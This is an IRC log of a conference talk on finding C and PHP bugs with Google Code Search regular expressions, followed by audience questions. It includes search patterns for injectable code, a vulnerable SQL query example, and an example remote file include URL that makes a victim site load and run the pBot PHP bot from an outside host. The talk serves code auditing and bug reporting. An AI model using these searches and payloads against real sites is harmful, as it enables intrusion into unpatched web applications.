bugs from the search results. jose_n jose_n what you should do when you apply this is to ensure that the bug still jose_n exists in the latest version of the code. i often have to visit the jose_n project website, look for the latest released version and possibly the jose_n source repository (SVN or CVS) and see if it's still there. jose_n if the bug is still there generate a patch and file a bug. i did this in October for a jose_n variety of projects, including OpenAFS, MPlayer, MySQL, and many others. jose_n i got a bunch of bugs fixed over a single cup of coffee, that's how easy jose_n this can be. jose_n [slide 10] i'll show you four basic bugs here and how we find them in google jose_n codesearch. you'll learn the regular expressions for some common C logic jose_n bugs (at least two of which have real security bug implications), jose_n some C jose_n string handling bugs, and two types of common PHP bugs: SQL injection jose_n and file include bugs. jose_n jose_n [slide 11] the first set of bugs we'll find in google codesearch are jose_n some logic bugs. specifically, there's a logic bug in C that people jose_n encounter when they make the typo of "&" vs "&&". & is a bitwise AND, jose_n and && is a logical AND. jose_n specifically, you use "&" to test for the jose_n presence of a bit in a variable, and "&&" to test that two conditions jose_n are two (a logical AND). jose_n very often you'll see people building up a set of flags in an integer, jose_n mixing the flags together in a variable "flags". jose_n they'll then use jose_n logical ANDs to look for specific flags being set, such as FLAG_PROCESS jose_n or FLAG_OLD_INPUT. jose_n the test is if (flags & FLAG_MINE) { /* do some stuff */ } jose_n the complement of that is to look for two things being true, such as this: jose_n if (is_set && process) { /* do more stuff */ } jose_n only if "is_set" and "process" are not 0 or not NULL will that be true. jose_n jose_n a common typo to make is to see && when someone meant &. jose_n jose_n this is also present in the bitwise vs logical OR ("|" vs "||") and in jose_n the comparison vs assignment operators ("==" vs "="). jose_n jose_n [slide 12] ok, this is what we'll search for: flags\ *&&\ *[A-Za-z_]* jose_n this will look for the line where someone has "flags" (a common variable jose_n name) and a logical AND of a variable in upper case letters (usually jose_n used for a macro). jose_n this is a common typo in C code. what's funny is that jose_n the compiler treats this as reasonable code, so you wont get a warning. jose_n however, if "flags" is not 0 or NULL and the macro is defines as jose_n not 0 or NULL, this condition will always be true. this is bad, jose_n obviously, and not what the programmer intended. jose_n (err if the macro is DEFINED as not 0 ...) jose_n jose_n so, let's search google codesearch for this ... jose_n jose_n [slide 13] here is an example bug in neon, found and fixed by one of our jose_n interns. the blue highlights the for, and we can infer what the jose_n programmer meant by reading the code. jose_n what they meant to do was to see jose_n if the session protocol flags has the AUTH_FLAG_VERIFY_NON40x bit set, jose_n but in this case that part of the test will always evaluate to true. jose_n if the other parts of the condition are true, then we'll see a mistaken jose_n "verify" part get hit. jose_n jose_n neon fixed this bug after jon (our intern) filed a report. this bug jose_n prevents the neon DAV component from evaluating the session properly. it jose_n doesn't turn up often, but it is a real bug. jose_n jose_n a coworker, aaron campbell, found a doozy of a bug in openssl jose_n certificate checking this way. he filed a bug report and got it fixed in jose_n under an hour. jose_n i found several bugs in MySQL, Mplayer, OpenAFS and other jose_n projects like this, and even wound up finding a security bug in OS X jose_n using this expression. jose_n jose_n [slide 14] let's look for an old school C bug. this was common about 10 jose_n years ago and has been whittled away quickly, but you'll still find it jose_n from time to time. jose_n basically what we'll be looking for is the programmer jose_n copying user-supplied into into a buffer without any sanity or length jose_n checking. jose_n (err user-supplied DAT into a buffer ...) jose_n in this case, we'll look for someone using strcat() (string jose_n concatenation or joining) from a user supplied argument (argv[x]). this jose_n is possibly a reliability bug, and even a security bug in some cases. jose_n jose_n this isn't so common anymore, because it's so easy to find, yet people jose_n still do it. jose_n jose_n [slide 15] so, this is what we'll search for: strcat\ *\(\ *.*\ *,\ *argv lang:c jose_n this looks for strcat followed by 0 or more spaces, then an open jose_n parentheses, then any characters, then a comma, and then argv (with jose_n optional spaces, "\ *", in there). jose_n oh, and we'll restrict ourselves to jose_n the C language. jose_n jose_n the problem here is that the destination buffer may not be large enough jose_n to hold the user-supplied input. jose_n in fact, strcat() and strcpy() don't do jose_n any length checking, they happily shove all the data from the source jose_n into the dest and if it overflows, so be it. however, the user can craft jose_n the input and commit a basic buffer overflow. jose_n jose_n [slide 16] ok, it's 2006, and not surprisingly these are uncommon now. jose_n thankfully, too! jose_n this is a bug i foun while searching for this, we can jose_n see that the buffer "command" gets built as a 10240 byte (10k) buffer, jose_n and for every argument supplied, the command is grown by the next jose_n argument and a space. jose_n we may be able to overflow this, i'm not sure the jose_n shell would allow it, but you get the idea. here we have two idioms jose_n mixed that are dangerous: a user-controlled loop (argc controls how many jose_n times it executes) and user supplied input going into a static buffer jose_n unchecked (strcpy() from argv). jose_n jose_n bad code, and revealed by google codesearch. jose_n jose_n [slide 17] here are some other basic C bugs you can look for. you can generalize jose_n the argc controlled loop pretry easily by looking for while loops and for jose_n loops including argc. jose_n (argc is the number of arguments passed on the command line, argv is a list of arguments given on the command line. both are user controlled.) jose_n other bug classes you can easily look for are jose_n format string bugs, looking for unformatted arguments to common jose_n functions like printf(), syslog() and the like. jose_n jose_n you can also look for overflows in the sprintf() and related functions. jose_n again, look for a user-controlled input. jose_n jose_n here, because google codesearch isn't allowing for backrefs, you have to jose_n weed these out manually. it's pretty tough to do, and =these sorts of jose_n bugs are not very common anymore, either. jose_n with backrefs, we could easily jose_n "taint" user supplied variable data and follow it through the code. jose_n jose_n [slide 18] so, let's move on to the first of two sets of PHP bug jose_n classes. the first is SQL injection attacks and vulnerabilities. SQL jose_n injection bugs are very common and easily created. jose_n basically, they come jose_n from scenarios where developers build up SQL commands using unescaped, jose_n unscrubbed user-supplied input. jose_n jose_n 14:54 < MJesus:#qc> is McAffe SiteAdvisor based in google search? jose_n i don't think so, i think they have their own toolbar to have their userbase inform them of bad sites (malware, phishing, etc) jose_n google has their own "safe browsing" toolbar, in IE7 now, too! (and built into FFox 2.0) jose_n jose_n there's a link here to show you how to exploit SQL injection bugs. i jose_n wont get into that here, but suffice it to say it's trivial. jose_n http://www.securiteam.com/securityreviews/5DP0N1P76E.html jose_n jose_n [slide 19] so, this is what we'll search for: jose_n SELECT\ *[^%]\ *$_GET lang:php jose_n this looks for SELECT being followed by a GET parameter reference jose_n without any formatting going on. there's no escaping in many of these jose_n cases, as well. jose_n jose_n the results? about 2000 hits on google codesearch. now that's a lot of bugs. jose_n jose_n 14:58 < mefistofe:#qc> jose_n: so if we just want to search for code in a jose_n specific software, say mplayer, we just add "mplayer" to the search line? jose_n mefistofe: yes, or package:mplayer jose_n jose_n [slide 20] here's an example, and (so it would fit on the screen) this jose_n one isn't all that high profile. jose_n (some of the other projects that had jose_n this are blogging software, CMS software, etc, all sorts of web apps). jose_n here the query string is built from a raw, unprocessed user-supplied jose_n variable: jose_n $query = "SELECT * FROM item WHERE ID == '" . $_GET['id'] ."'"; jose_n jose_n "query" references "id" from the user without any stripping of special jose_n SQL characters. there's nothing stopping you from closing that query and jose_n creating a new one (ie to call out stored procedures to get shell jose_n access), or modifying it to show all items (ie where id = 1 OR id > 0). jose_n jose_n this is the basic form of an SQL injection bug, and easy to avoid. lots jose_n of PHP books show you how to avoid this, and this is sadly too common in jose_n PHP code. jose_n jose_n [slide 21] while i showed you SELECT for a GET parameter, you will also jose_n want to look for other SQL commands: INSERT, UPDATE, DELETE, and you'll jose_n also want to look for this in POST variables, too (ie $_POST['id']). jose_n jose_n when you expand this out, lots more bugs, all very similar, appear. :) jose_n jose_n [slide 22] the second type of PHP bug class here is due to remote file jose_n includes. PHP has the "include()" directive which lets you include a jose_n local file. however, PHP also lets you include remote files from another jose_n web server. jose_n jose_n here the exploit is to grab a malicious PHP file off of a website you jose_n control. the exploit then has the argument to the variable include a URL. jose_n i recently found a bot that can be used in these attacks, called jose_n "pBot". it is designed to be included in PHP remote file include attacks jose_n and works quite well. jose_n jose_n [slide 23] so, what should you search for? just like before, look for jose_n the function using an unscrubbed argument: jose_n include\ *\(\ *\$_GET lang:php jose_n this looks for the PHP include function with an argument from the GET jose_n parameter, and only in PHP files. very straight forward, here the jose_n attacker can control the input directly. jose_n jose_n [slide 24] some real results found in google codesearch: include calls jose_n out to "page", a user supplied variable, and appends .php. what's the jose_n attack look like? jose_n 15:09 < mefistofe:#qc> jose_n: how to avoid this bug? jose_n in the PHP docs for include, here: http://us2.php.net/include/ jose_n in the comments they talk about enforcing what you expect, a local file or a specific URL path jose_n jose_n suppose i have a malicious website and a malicious PHP file, like pBot jose_n :). i store it as jose_n http://monkey.org/~jose/php/pBot.php jose_n so, i attack an installation of this software like this: jose_n http://victim.com/admin.php?file=http://monkey.org/~jose/php/pBot jose_n the application, and the web server, will now include and run my PHP jose_n code. voila, a simple attack, and we found this in google codesearch. jose_n jose_n [slide 25] i showed you how to use the GET variable, and you should also jose_n look for PHP using untrustworthy input from cookies, POST variables, and jose_n anything else the user can supply, such as hostnames. jose_n also, you can find jose_n cross site scripting bugs this way, too, also looking for user-supplied jose_n input being used without any treatment. jose_n jose_n the PHP docs have excellent discussions on secure programming idioms, by jose_n the way, so if you code in PHP, make sure you follow those! jose_n jose_n [slide 26] ok, so i showed you four basic bug classes and how to find jose_n them in google codesearch. there are some obvious limits to using google jose_n codesearch for your code audits. jose_n jose_n first, you still have to read the code. you still have to follow the jose_n logic and see if it's a real bug, and you still have to understand the jose_n code and any implications it has. jose_n jose_n 15:15 < mefistofe:#qc> jose_n: and only Open Source apps :P jose_n not always true :) some commercial software is based on OSS code, so sometimes these bugs affect commercial code jose_n jose_n don't forget that if you think you found a bug, you still have to make sure it's the latest version of the code before jose_n you fire off a bug report. jose_n jose_n you have to tune your regular expressions to keep the false positives jose_n down. compare searches for "strcat" vs strcat\ *\(\ *.*\ *,\ *argv. the jose_n former will find lots of basic libc definitions of strcat, the later jose_n will find real uses of it. jose_n jose_n 15:17 < mefistofe:#qc> jose_n: what if we are not 100% sure it's a bug... how jose_n to proof it? ... we could try exploiting the bug but wouldnt that be illegal? jose_n well, sine you're working with OSS software, you can run it locally. if it's commercial software, you can buy it (or borrow it) and test it. jose_n obviously do NOT go exploit someone else's machine to test this! jose_n jose_n google codesearch is basically grep on steroids (in terms of speed and jose_n quantity of input, but it is missing backrefs), and it will only find jose_n single line bugs. you wont find many of the truly clever bugs this way. jose_n jose_n however, i found at least two security bugs like this in just one jose_n morning, over one cup of coffee: one is OS X (CVE-2006-4410) jose_n jose_n and one in jose_n another project i wont name here because the bug (and security hole) are jose_n still active. coworkers aaron and jon found two more security bugs in a jose_n matter of minutes. jose_n jose_n [slide 27] to sum it up, google codesearch is pretty nifty, and a lot jose_n easier than trying to download all sorts of code and screening it jose_n locally. believe me, i've done that! jose_n jose_n however, it doesn't support the google web service API yet, and it jose_n doesn't appear to be included in any IDE tools yet (like Koders is). i jose_n imagine this will happen in time. jose_n jose_n [slide 28] some more links for you to read. the first is from a jose_n coworker, aaron, and he gives some searches you can look at and explains jose_n how they work, and the bugs they yield. a very great post! aaron's an jose_n awesome hacker and a great coworker at arbor. jose_n jose_n the second two are posts by me discussing codesearch and giving some jose_n basic insecurity statistics using it. jose_n jose_n the fourth is a post from the securiteam blog giving more searches and jose_n their results. lots more fun luring in google codesearch, that's for jose_n sure. jose_n jose_n [slide 29] finally, again, this was all started by a morning IRC jose_n conversation with my arbor colleague aaron campbell. we wasted a good jose_n morning futzing around, finding bugs, and aaron found a nifty openssl jose_n 0.9.8 bug in a matter of minutes. make sure you read his blog posting. jose_n jose_n thank you all for your time and attention, i hope you have found this to jose_n be fun and interesting. mefistofe heh ismak_hom Great!!!!! COngratulations and thank you for your time jose_n thanks guys Walsen so interesting indeed xtingray clap clap clap clap clap clap clap clap clap clap Rub3nC clap clap clap clap clap clap, thanks jose_n very interesting!!! xtingray clap clap clap clap clap clap clap clap clap clap xtingray clap clap clap clap clap clap clap clap clap clap Rub3nC clap clap clap clap clap clap xtingray clap clap clap clap clap clap clap clap clap clap Walsen thanks to you Rub3nC clap clap clap clap clap clap Rub3nC clap clap clap clap clap clap Rub3nC clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap ismak_hom clap clap clap clap clap clap clap clap clap clap mefistofe what the hell Rub3nC clap clap clap clap clap clap Rub3nC clap clap clap clap clap clap mefistofe clap clap clap clap clap clap clap clap clap clap clap mefistofe clap clap clap clap clap clap clap clap clap clap clap mefistofe clap clap clap clap clap clap clap clap clap clap clap jose_n no :) just my blog postings mefistofe :o mefistofe I didnt notice mefistofe lol Walsen why not? mefistofe sorry...that was for #qc jose_n Walsen: is that question for me? Walsen yes jose_n why didn't i tell google about it? Walsen yes jose_n i told a couple of friends who work there but they weren't surprised it was being done. and it only speeds up the process of finding bugs ... Walsen they can buy arbor xD (google) jose_n would be nice if they did ... Rub3nC jose_n, why you named this talk Stupid google tricks, if it very interesting? plaes btw, how can I join the #qc ?:) jose_n Rub3nC: i couldn't think of a better title mefistofe plaes: /join #qc Rub3nC thanks jose_n i will polish my regular expression skill with google codesearch plaes mefistofe22:10 [uninet] -!- Cannot join channel (+r) edition of umeet, you can see that all the lectures from Jose are very interesting, original investigations and, true master lectures! mefistofe well is my first time here... though I liked the title :P Rub3nC MJesus, when i find that lectures?? jose_n Rub3nC: http://monkey.org/~jose/presentations/ mefistofe one thing is not clear to me... probably my english limitations... what's the meaning of backrefs? Rub3nC jose_n, thanks jose_n mefistofe: back references jose_n or references to previous matches mefistofe well in the context of google codesearch mefistofe hmmmm ghostbar mefistofe, referencias de vuelta mefistofe I see... thats something google codesearch lacks? jose_n yeah, it's a regexthing that they didn't implement jose_n plaes: you should be able to join #qc now jose_n in codesearch? probably an authentication bypass in some software. Walsen o.o gntpnk2 hello jose_n yeah, the admin wants you to authenticate and you can log in without proper credentials jose_n bypassing the restrictions plaes thx :) Walsen an important software? jose_n the OS X bug i found was similar to aaron's openssl bug. in each case they fail to properly see if an SSL certificate is valid in some circumstances jose_n Walsen: i wont say, the software is still unfixed jose_n email to the authors bounced jose_n no jose_n i don't know much about alltheweb jose_n i don't know if they support searching source code. even basic google lets you say that you only want to search C source code files. jose_n such as nazario filetype:c ismak_hom Ok, thank you for your questions ismak_hom and thank you Jose for your time with this excellent research ismak_hom y muchas gracias a todos los que habeis estado en la conferencia y habeis aportado vuestras preguntas jose_n thanks again, guys ismak_hom la proxima conferencia sera dentro de 10 minutos: Qt 4.2 : A new age for Qt developers (Gustavo Gonzlez) jose_n i have to go, my wife and i still haven't had lunch! ghismo clap ghismo clap jose_n thank you MJesus, and thank you ismak_hom! thanks everyone :) Generated by irclog2html.pl by Jeff Waugh - find it at freshmeat.net!